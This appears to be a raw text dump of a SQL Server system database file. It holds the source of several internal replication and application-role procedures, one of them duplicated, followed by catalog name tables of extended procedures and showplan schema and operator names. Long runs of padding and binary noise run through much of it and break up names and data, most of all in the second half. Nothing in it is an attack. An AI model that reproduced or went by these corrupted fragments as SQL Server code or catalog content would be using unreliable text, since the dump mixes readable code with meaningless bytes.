		insert into #proctext(procedure_text) values( N'    if @@microsoftversion>0x07320000' )
		insert into #proctext(procedure_text) values( N'        exec sp_MSreplraiserror 20598' )
	end
end
0_ c8--
-- Name: sp_MScleanupmergepublisherdb
--
-- Description: This procedure is the per-database analogue of 
--              sp_MScleanupmergepublisher and it currently performs the 
--              following function(s):
--              1) Cleans up all the stale dynamic snapshot views
--              in the current database.
--
-- Returns: (undefined)
--
-- Security: Only members of the sysadmin fixed server role can execute this
--           procedure.
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MScleanupmergepublisherdb
as
begin
    set nocount on
    declare @temp_login sysname

    if exists (select * from sys.objects
        where name = 'MSdynamicsnapshotviews')
    begin
        -- Ignore errors
        exec sys.sp_MScleanupdynsnapshotvws
    end

end
0@ 8create procedure sys.sp_MSgetrowmetadatalightweight
	(@tablenick			int,
	 @rowguid			uniqueidentifier,
	 @type  			tinyint output,
	 @rowvector 		varbinary(11) output,
	 @changedcolumns	varbinary(128) output,
	 @columns_enumeration tinyint output,
	 @pubid 			uniqueidentifier= null)

as
    declare @retcode	smallint
    declare @action		tinyint
    declare @procname	sysname
    declare @postfix	nchar(32)
	
	-- security check
    exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0 return 1

    if (@tablenick is null)
    begin
        raiserror(14043, 16, -1, '@tablenick', 'sp_MSgetrowmetadatalightweight')
        return (1)
    end

    if (@rowguid is null)
    begin
        raiserror(14043, 16, -1, '@rowguid', 'sp_MSgetrowmetadatalightweight')
        return (1)
    end

	select @postfix= procname_postfix
		from dbo.sysmergearticles 
		where pubid = @pubid and nickname = @tablenick
	
	set @procname= quotename('MSmerge_lws_sp_multi_' + @postfix)

	-- Get the metadata type (and possibly rowvector, changedcolumns) of the row. 
    exec @retcode= @procname 
    					@action= 3,
    					@rowguid= @rowguid,
    					@type= @type output,
    					@rowvector= @rowvector output,
    					@changedcolumns= @changedcolumns output,
    					@columns_enumeration= @columns_enumeration output

    if @@error <>0 or @retcode <> 0 return (1)

    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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     @pubid_ins uniqueidentifier = NULL,
     @nicknames varbinary(1000) = 0x0,
     @artnick int = NULL,
     @compatlevel int = 10)      -- backward compatibility level, default=Sphinx
as
    /*
    ** Check to see if current publication has permission
    */
    declare @retcode int, @replnick binary(6), @newnicks varbinary(1000), @dt datetime
    declare @offset int
    declare @default_nicknames    varbinary(255)
    declare @application_name sysname
    declare @subscriber_number int

    --declare @GENSTATUS_MERGE_INSERTED_OPEN tinyint
    
    if ({fn ISPALUSER(@pubid)} <> 1)
    begin
        if (@pubid is NULL)
        begin
            RAISERROR (21723, 16, -1, 'sp_MSinsertgenhistory')
            return 1
        end
        else
        begin
            RAISERROR (14126, 11, -1)
            return 1
        end
    end
    
    if (@guidsrc is null)
    begin
        RAISERROR(14043, 16, -1, '@guidsrc', 'sp_MSinsertgenhistory')
        return (1)
    end
    
    --select @GENSTATUS_MERGE_INSERTED_OPEN = 4

    -- having the login time in dbo.MSmerge_genhistory allows to associate the row with the merge process that inserted the row
    select @dt = login_time, @application_name = program_name from sys.dm_exec_sessions where session_id = @@spid

    select @subscriber_number = subscriber_number from dbo.sysmergesubscriptions where application_name = @application_name collate database_default
    -- the following will be the case if this is a down level anonymous subscriber. We will give a number of -1 to all such subscribers
    -- a number of 0 is used to indicate locally inserted generations
    if @subscriber_number is NULL
        select @subscriber_number = -1
        
    -- Check for older in process generation
    select @gen = max(generation) from dbo.MSmerge_genhistory where guidsrc = @guidsrc
    if @gen is not null
    begin
        -- this generation was interrupted at a previous merge
        -- next statement makes sure that gen does no longer look interrupted to another process
        update dbo.MSmerge_genhistory set coldate= @dt, genstatus=4, subscriber_number = @subscriber_number where guidsrc = @guidsrc

        -- if @@rowcount = 0, another process removed the interrupted gen just before the previous update statement
        if @@rowcount > 0
        begin
            return (0)
        end
    end

    exec sys.sp_MSgetreplnick @replnick = @replnick out
    if @@ERROR<>0 return (1)

    -- add a guard byte
    set @default_nicknames= @replnick + 0xFF

    if @compatlevel < 90
        set @nicknames = ISNULL({fn REPLNICKARRAY_80_TO_90(@nicknames)},@default_nicknames)

    declare @replnicklength int
    set @replnicklength= col_length('sysmergesubscriptions', 'replnickname')

    set @offset = DATALENGTH(@nicknames)
    if substring(@nicknames, @offset, 1) <> 0xFF
    begin
        set @nicknames = @nicknames + 0xFF
    end
    
    set @newnicks = @nicknames
    
    set @offset = 1
    while @offset < DATALENGTH(@nicknames)
    begin
        -- If the subscriber nickname is already in the list just return
        if substring(@nicknames, @offset, @replnicklength) = @replnick
            goto InsertGenHistory
        set @offset = @offset + @replnicklength
    end
    -- My nickname is not in the array.  Add it so that we won't send this gen back down in the return message.  
    -- Append guard byte
    if @nicknames = 0x0
        set @newnicks = @replnick + 0xFF
    else
    begin
        set @newnicks = @replnick + @nicknames
    end
        
InsertGenHistory:
   insert into dbo.MSmerge_genhistory with (rowlock)
    (guidsrc, pubid, genstatus, art_nick, nicknames, coldate, subscriber_number) 
        values (@guidsrc, @pubid_ins, 4, @artnick,@newnicks, @dt, @subscriber_number)

    if @@error<>0 goto Failure
    select @gen = @@identity
        
    return (0)
Failure:
    RAISERROR(15001, 16, -1, 'MSmerge_genhistory')
    return (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`m<L.
0 R8
--
-- Name:    
--          sp_ORAmarksubscriptionvalidation
--          
-- Description: 
--          Record subscription marker into HREPL events
--  
-- Security: 
--          <security description, assumptions, who has access>
--
-- Returns:
--          <description of information returned>
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_ORAmarksubscriptionvalidation
(
	@publicationid	int,
	@articleid		int,
	@command_type	int,
	@command		varchar(4096),
	@publisher		sysname
)
AS
BEGIN
	DECLARE @retcode int

	SET @retcode = 0
	SET NOCOUNT ON 

	-- Define sp_IHquery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)
	
	-- Mark subscription
	INSERT INTO #hquery (cmd) VALUES (N'{call HREPL.MarkSubscription(')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(10), @publicationid) + N',')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(10), @articleid) + N',')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(10), @command_type) + N',')
	INSERT INTO #hquery (cmd) VALUES (sys.fn_replquotename(@command, '''') + N')}')

	EXEC @retcode = sys.sp_IHquery @publisher
	IF  (@@error <> 0 OR @retcode <> 0 )
	BEGIN
		RAISERROR (21651, 16, -1, 'MarkSubscription', @publisher)
    	RETURN (1)
	END
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!` 
<_]
/<0 ?	8CREATE PROCEDURE sys.sp_MSadjust_pub_identity 
(
    @publisher			sysname,
    @publisher_db		sysname,
    @tablename			sysname,
    @current_max		bigint  = NULL,
    @threshold			int  = NULL,
    @range				bigint = NULL,
    @next_seed			bigint  = NULL,
    @pub_range			bigint  = NULL
)
AS
begin
    declare @retcode		int
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSadjust_pub_identity', 'distribution')
        return (1)
    end
    if @current_max is NOT NULL
    begin
    	update MSrepl_identity_range set current_max=@current_max 
    		where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
    	if @@ERROR<>0	
    		return (1)
    	if exists (select * from MSrepl_identity_range where max_identity is not NULL 
    		and ABS(current_max) > ABS(max_identity))
    	begin
    		raiserror(21195, 16, -1)
    		return (1)
    	end
    end
    if @threshold is NOT NULL
    begin
        update MSrepl_identity_range set threshold=@threshold 
        	where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
        if @@ERROR<>0	
        	return (1)
    end
    if @next_seed is NOT NULL
    begin
        update MSrepl_identity_range set next_seed=@next_seed 
        	where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
        if @@ERROR<>0
        	return (1)
    end
    if @range is NOT NULL
    begin
        update MSrepl_identity_range set range=@range 
        	where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db	
        if @@ERROR<>0
        	return (1)
    end
    if @pub_range is NOT NULL
    begin
        update MSrepl_identity_range set pub_range=@pub_range 
        	where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db	
        if @@ERROR<>0
        	return (1)
    end

    return (0)
end
0@ 8create procedure sys.sp_approlepassword
	@rolename		sysname,			-- name of app role
	@newpwd			sysname				-- new password
AS
	declare @stmt		nvarchar(4000)

	-- CHECK FOR NULL PASSWORD
	if (@newpwd is null)
	begin
		raiserror(15034,-1,-1)
		return (1)
	end

	-- CHECK FOR NULL NAME
	if (@rolename is null)
	begin
		raiserror(15004,-1,-1)
		return (1)
	end

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	if (@@trancount > 0)
	begin
		raiserror(15002, -1, -1, 'sys.sp_approlepassword')
		return (1)
	end

	set @stmt = 'alter application role '
	set @stmt = @stmt + quotename(@rolename, ']')
	set @stmt = @stmt + ' with password = '
	set @stmt = @stmt + quotename(@newpwd, '''')
	
	BEGIN TRANSACTION

	exec (@stmt)	
	if @@error <> 0
	begin
		ROLLBACK TRANSACTION
		return (1)
	end

	COMMIT TRANSACTION

    -- RETURN SUCCESS --
	return (0) -- sp_approlepassword
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	` 
</;9`0@ 8create procedure sys.sp_approlepassword
	@rolename		sysname,			-- name of app role
	@newpwd			sysname				-- new password
AS
	declare @stmt		nvarchar(4000)

	-- CHECK FOR NULL PASSWORD
	if (@newpwd is null)
	begin
		raiserror(15034,-1,-1)
		return (1)
	end

	-- CHECK FOR NULL NAME
	if (@rolename is null)
	begin
		raiserror(15004,-1,-1)
		return (1)
	end

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	if (@@trancount > 0)
	begin
		raiserror(15002, -1, -1, 'sys.sp_approlepassword')
		return (1)
	end

	set @stmt = 'alter application role '
	set @stmt = @stmt + quotename(@rolename, ']')
	set @stmt = @stmt + ' with password = '
	set @stmt = @stmt + quotename(@newpwd, '''')
	
	BEGIN TRANSACTION

	exec (@stmt)	
	if @@error <> 0
	begin
		ROLLBACK TRANSACTION
		return (1)
	end

	COMMIT TRANSACTION

    -- RETURN SUCCESS --
	return (0) -- sp_approlepassword
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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Sget_qualified_name&7Fsp_MSget_repl_cmds_anonymous&:sp_MSget_repl_commands&N[c4sp_MSget_repl_error&$bDsp_MSget_session_statistics&l06sp_MSget_setup_paths&xq8sp_MSget_shared_agent&:sp_MSget_shifted_colv1&%)4@sp_MSget_snapshot_history&kNsp_MSget_subscriber_partition_id&PJsp_MSget_subscription_dts_info&$Bsp_MSget_subscription_guid& >sp_MSget_synctran_column&GBsp_MSget_synctran_commands&xv>sp_MSget_temp_closed_gen&(sp_MSget_type&28sp_MSget_type_wrapper&%>sp_MSgetagentoffloadinfo&>sp_MSgetalternaterecgens&:Bsp_MSgetarticlereinitvalue&?@sp_MSgetbeforetableinsert&%4sp_MSgetchangecount&AoHsp_MSgetcolordinalfromcolname&A[2sp_MSgetcolumnlist&Bsp_MSgetconflictinsertproc&0,@sp_MSgetconflicttablename&]T+>sp_MSGetCurrentPrincipal&@sp_MSgetdatametadatabatch&\“0sp_MSgetdbversion&'Jsp_MSgetdynamicsnapshotapplock&GuJsp_MSgetdynsnapvalidationtoken&Ũ>sp_MSgetfiltercolumnlist&ϲ>sp_MSgetfilteringcolumns&@sp_MSgetFixPALRoleAppLock&z:sp_MSgetgenstatus4rows&bsp_MSgetisvalidwindowsloginfromdistributor& z|2sp_MSgetlastrecgen&m4sp_MSgetlastsentgen&7c<sp_MSgetlastsentrecgens&g<sp_MSgetlastupdatedtime&QNsp_MSgetlightweightmetadatabatch&jv>sp_MSgetlogshipagentpath&Hsp_MSgetmakegenerationapplock&'Nsp_MSgetmakegenerationapplock_90&L5(0sp_MSgetmaxbcpgen&Fsp_MSgetmaxsnapshottimestamp&^@sp_MSgetmergeadminapplock&=	Fsp_MSgetmergelastupdatedtime&Xsp_MSgetMergeUpgradeSubscriberAppLock&fsp_MSgetmetadata_changedlogicalrecordmembers&M8sp_MSgetmetadatabatch&܈<sp_MSgetmetadatabatch90&4Bsp_MSgetmetadatabatch90new&0sp_MSgetmissingbm&*sp_MSgetonerow&>'`@sp_MSgetonerowlightweight&p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_indexes&88xml_schema_attributes&1:xml_schema_collections&5Lxml_schema_component_placements&=8xml_schema_components&:4xml_schema_elements&;0xml_schema_facets&9<xml_schema_model_groups&>8xml_schema_namespaces&<.xml_schema_types&6Jxml_schema_wildcard_namespaces&76xml_schema_wildcards&I0xp_availablemedia&R$xp_cmdshell&z^:xp_controlqueueservice&8xp_createprivatequeue&~0xp_decodequeuecmd&38xp_deleteprivatequeue&Kd"xp_dirtree&6xp_displayqueuemesgs&"xp_dsninfo&%3"xp_enumdsn&	o.xp_enumerrorlogs&:(xp_enumgroups&>y.xp_execresultset&v4xp_firstonly_bitmap&*xp_fixeddrives&1(xp_get_script&nd(xp_getnetname&T6(xp_grantlogin&Hxp_instance_regaddmultistring&C>xp_instance_regdeletekey&nBxp_instance_regdeletevalue&%{<xp_instance_regenumkeys&a@xp_instance_regenumvalues&4xp_instance_regread&+@Nxp_instance_regremovemultistring&46xp_instance_regwrite&f$xp_logevent&*xp_loginconfig&d&xp_logininfo&"xp_makecab&h+0xp_mapdown_bitmap&(.xp_mergelineages&,xp_mergexpusage&vxp_msver&(&xp_oledbinfo&$xp_ORbitmap&&xp_peekqueue&T6xp_qv&>,xp_readerrorlog&P2xp_readpkfromqueue&4xp_readpkfromvarbin&E6xp_regaddmultistring&xP,xp_regdeletekey&0xp_regdeletevalue&g*xp_regenumkeys&͌.xp_regenumvalues&"xp_regread&<xp_regremovemultistring&>s1$xp_regwrite&<xp_repl_convert_encrypt&L^xp_repl_convert_encrypt_sysadmin_wrapper&,xp_repl_encrypt&6xp_repl_help_connect&*xp_replposteor&'(xp_resetqueue&@*xp_revokelogin&nR!0xp_servicecontrol&z"xp_sprintf&4xp_sqlagent_monitor&-2xp_sqlagent_notify&"F@ xp_sscanf&P"xp_subdirs&5D&xp_unpackcab&Շ$xp_userlock&쮗0xp_varbintohexstr&8xp_sqlagent_enum_jobs&5̃<xp_sqlagent_is_starting&P0xp_sqlagent_param&4&xp_fileexist&(xp_msx_enlist&>u$xp_sqlmaint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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!^T
J
@
	6	,~"tj`f
'Cr6z{:-2'4X'Wi'=+"'
p'vZ':''6'o'x,'a7')0'7clst0'9clust0'7clst0'9clust0'3nc'0'		7clst0'3cl0'3nc0'5nc20'3cl0'5nc10'3cl0'7clst0'3cl0'7clst0'3cl0'7clst0'7clst0'7clst0'5nc10'5nc20'7clst0'5nc10'5nc20'9clust0'""7clst0'""5nc10'""5nc20'""5nc30'" a_WA_Sys_00000003_000000220'" a_WA_Sys_00000008_000000220'" a_WA_Sys_00000006_000000220'))7clst0'))3nc0'**3cl0'**5nc10'**5nc20'++3cl0'++5nc10',,7clst0',,3nc0'--7clst0'..3cl0'..5nc10'..5nc20'..5nc30'//3cl0'003cl0'119clust0'227clst0'225nc10'225nc20'337clst0'333nc0'667clst0'663nc0'777clst0'775nc10'887clst0'885nc10', a_WA_Sys_00000004_0000002C0', a_WA_Sys_00000002_0000002C0'6 a_WA_Sys_00000004_000000360'6 a_WA_Sys_00000002_000000360'6 a_WA_Sys_00000007_000000360') a_WA_Sys_0000000B_000000290') a_WA_Sys_00000005_000000290') a_WA_Sys_00000004_000000290') a_WA_Sys_00000002_000000290'@7name0'@?xml_data0'@Ais_active0'@Ghost_address0'@Gprincipal_id0'@Edatabase_id0''@?alert_id0''@Gcomponent_id0''@Calert_name0''@9state0''@?severity0''@7type0''@Edescription0''	@Acondition0''
@;status0''@Mcondition_value0'x@Edms_core_id0'x@Epdw_node_id0'x@;status0'@Epdw_node_id0'@Cprocess_id0'@Gprocess_name0'@Oallocated_memory0'@Oavailable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/xmlSpaceEnum0yXQbase0ez^'byte00z7char0ez
date00gDay0gw
Olang0g
$long0pYGreal0t|;text0vtime0v!QName0jY'NOTATION0@U'localeId0xS
'duration0sM"7normalizedString0#^3datetimeoffset0$u+ANSI_NULLS0tix(n+Statements0)])datetime20hw{*1StatementType0ys|*1StatementText0*)gMonthDay0q+S-clrTypeName0(,q3StmtSimpleType01=,m!Batch0{,9%varchar0,:'nvarchar0-N'dbobject0uA/*-unsignedInt00T)maxLength080K+smallmoney0q2w1ANSI_WARNINGS05In5I1smalldatetime07L7uniqueidentifier0t9#NCName0p4<~-StatementId0bvx<Y!scale0I>1PlanGuideName0MEParameterizedPlanHandle0{;RetrievedFromCache0Ч"+ThreadStat03ThreadStatType0AThreadReservationType0P6;MissingIndexesType0gB9MissingIndexGroup0}35ColumnGroupType0t#Column0*G+ColumnType0C'Database0e&CGuessedSelectivityType0j?%Spatial0p!Alias0~7TableReferenceId0sY-#Object0HEColumnsWithNoStatistics05ColumnReference0n*=ColumnReferenceType07)Aggregate0:M;1AggregateType0n.+Arithmetic0{y+AssignType0A	)ConstType0'DataType0`vx<!Scale0W)IdentType0$IF02
Then09Else0\M--LogicalType0~`?LogicalOperationType0n'Subquery0',!RelOp0;RunTimeInformation0,)+ActualRows0q7ActualExecutions0	=ActualExecutionMode0#w$-SchedulerId0{	/FirstRowTime0{C
)CloseTime0dwEnd04"/DefinedValue0/'EBatchHashTableBuildType0
U6-/CollapseType0>.%GroupBy02#Concat0n94/ConstantScan0Ep6#Values07Row0cq%:+RowsetType0y	CHash0qI/StarJoinInfo0t?$J7StarJoinInfoType0[
KRoot0Y.N1IndexScanType0,S#Prefix0,a
T1ScanRangeType0t;V7RangeExpressions0,Y'EndRange0M:Z)IsNotNull0b#Lookup0g)ForceSeek0cs(h?ForceSeekColumnCount0;i)ForceScan0C<Yk%Storage0{5l-StorageType0n+LogRowScan0[Up)MergeType0&Or?OuterSideJoinColumns0;:t'PassThru0eu+ManyToMany0WwKSimpleIteratorOneChildType0*~AWithUnorderedPrefetch0U-OrderByType01OrderByColumn0C7PartitioningType0
~_/RemoteSource0ay/RemoteModify07RemoteModifyType0r1PrimaryNodeId0˰/ScalarInsert0|1SegmentColumn0t{
Sort0*)SplitType0\:5StreamAggregate0qd -RollupLevel0;g$/HighestLevel0{)TableScan07Top0+
%TopType0[
Rows0z
%TopSort0x#Update0M.m.?OriginalActionColumn0;ý5EstimateRewinds03/EstimateRows0z:'Parallel03yASubqueryOperationType0e)UDTMethod0lM5UDAggregateType0X3ComputedColumn0+41SpillToTempDb0)9SpillToTempDbType0n<+SpillLevel0t
Wait0?PlanAffectingConvert0A%9QFullUpdateForOnlineIndexBuild0p9=SerialDesiredMemory0aV.93RequiredMemory0ݩK:1GrantWaitTime0`3-1GrantedMemory0	_OptimizerHardwareDependentProperties05
gOptimizerHardwareDependentPropertiesType0,VANonParallelPlanReason0[3CachedPlanSize0:+k#+CompileCPU0o_01CompileMemory0FbUDF0y9'ProcName0a3CursorPlanType0.J'5StmtReceiveType0Ր
*)StmtUseDb0,{.,%Version0`v.-!BuildFi1ZE\;y	HV\?

yT3yH
	>+_

8i
G(
cZ	I
*
sR3"~aVh
nmlM.3PdJp7NE
.M-n	{47\
9j	bK	`aJVc-4$RRRRRRRRRRR R!.<D^_Rd>eRed>fRfe>gRgeRhg>iRih>jRjhRkhRleRmRnmRonRpmRqpRrqRsrRtmRutRvuRwvRxwRyt&&&RjRkRlRR,R-R/R0R1R2R3R4R5R6R7R8R9pR:R;R<pR=qR>rR?xR@RARBRDRERFRGRHRIRJRKRLRMRNRhQ|IQ}|2@@3@2@@3@2@@3@2@@3@2@@3@2@@3@2@@3@2@@3@2	@	@3	@de14Pjfg4QRhi4QQQRQQQRQQ	R
Q
QQ
RQQR4/0!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~o`J6*"k^F0EUEQ0EUGE0EUGT0EUIS0EU#IS NOT0EU-IS NOT NULL0	EU%IS NULL0
EULE0EULT0EUNE0
EU'ONE NULL0EUAND0EU%IMPLIES0EU-IS NOT NULL0EU%IS NULL0EUIS0EU1IsFalseOrNull0EUNOT0EUOR0	EUXOR0EURow0EU!Batch0TEU!Fetch0TEU;Index Intersection0TEU/Index Filter0TEU/Index Lookup0xEU'BACKWARD0xEU%FORWARD0EU'RowStore0EU-ColumnStore0EU)Broadcast0EU#Demand0EUHash0EU3NoPartitioning0EU!Range0EU+RoundRobin0EU1CloneLocation0*EU#Update0*EU#Insert0?EU)Aggregate0?EU#Assert0?EU/Async Concat0?EUCBatch Hash Table Build0?EU1Bitmap Create0?EU?Clustered Index Scan0?EU?Clustered Index Seek0?EU7Clustered Update0?	EU'Collapse0?
EU3Compute Scalar0?EU1Concatenation0?EU1Constant Scan0?
EU+Cross Join0?EU#Delete0?EU/Deleted Scan0?EU1Distinct Sort0?EU'Distinct0?EU;Distribute Streams0?EU-Eager Spool0?EU#Filter0?EU1Flow Distinct0?EU5Full Outer Join0?EU3Gather Streams0?EU%Generic0?EU+Index Scan0?EU+Index Seek0?EU+Inner Join0?EU#Insert0?EU1Inserted Scan0?EU+Lazy Spool0?EU=Left Anti Semi Join0? EU5Left Outer Join0?!EU3Left Semi Join0?"EU/Log Row Scan0?#EU3Merge Interval0?$EU?Parameter Table Scan0?%EU9Partial Aggregate0?&EU!Print0?'EU1Remote Delete0?(EU9Remote Index Scan0?)EU9Remote Index Seek0?*EU1Remote Insert0?+EU/Remote Query0?,EU-Remote Scan0?-EU1Remote Update0?.EU=Repartition Streams0?/EU+RID Lookup0?0EU?Right Anti Semi Join0?1EU7Right Outer Join0?2EU5Right Semi Join0?3EU%Segment0?4EU'Sequence0?5EUSort0?6EU!Split0?7EU#Switch0?8EUATable-valued function0?9EU+Table Scan0?:EUTop0?;EU)TopN Sort0?<EUUDX0?=EU!Union0?>EU#Update0??EU!Merge0?@EU-Merge Stats0?AEU-Local Stats0?BEU/Window Spool0DEU#Assert0DEUCBatch Hash Table Build0DEU#Bitmap0DEUCClustered Index Delete0DEUCClustered Index Insert0DEU?Clustered Index Scan0DEU?Clustered Index Seek0DEUCClustered Index Update0D	EUAClustered Index Merge0D
EU7Clustered Update0DEU'Collapse0DEU3Compute Scalar0D
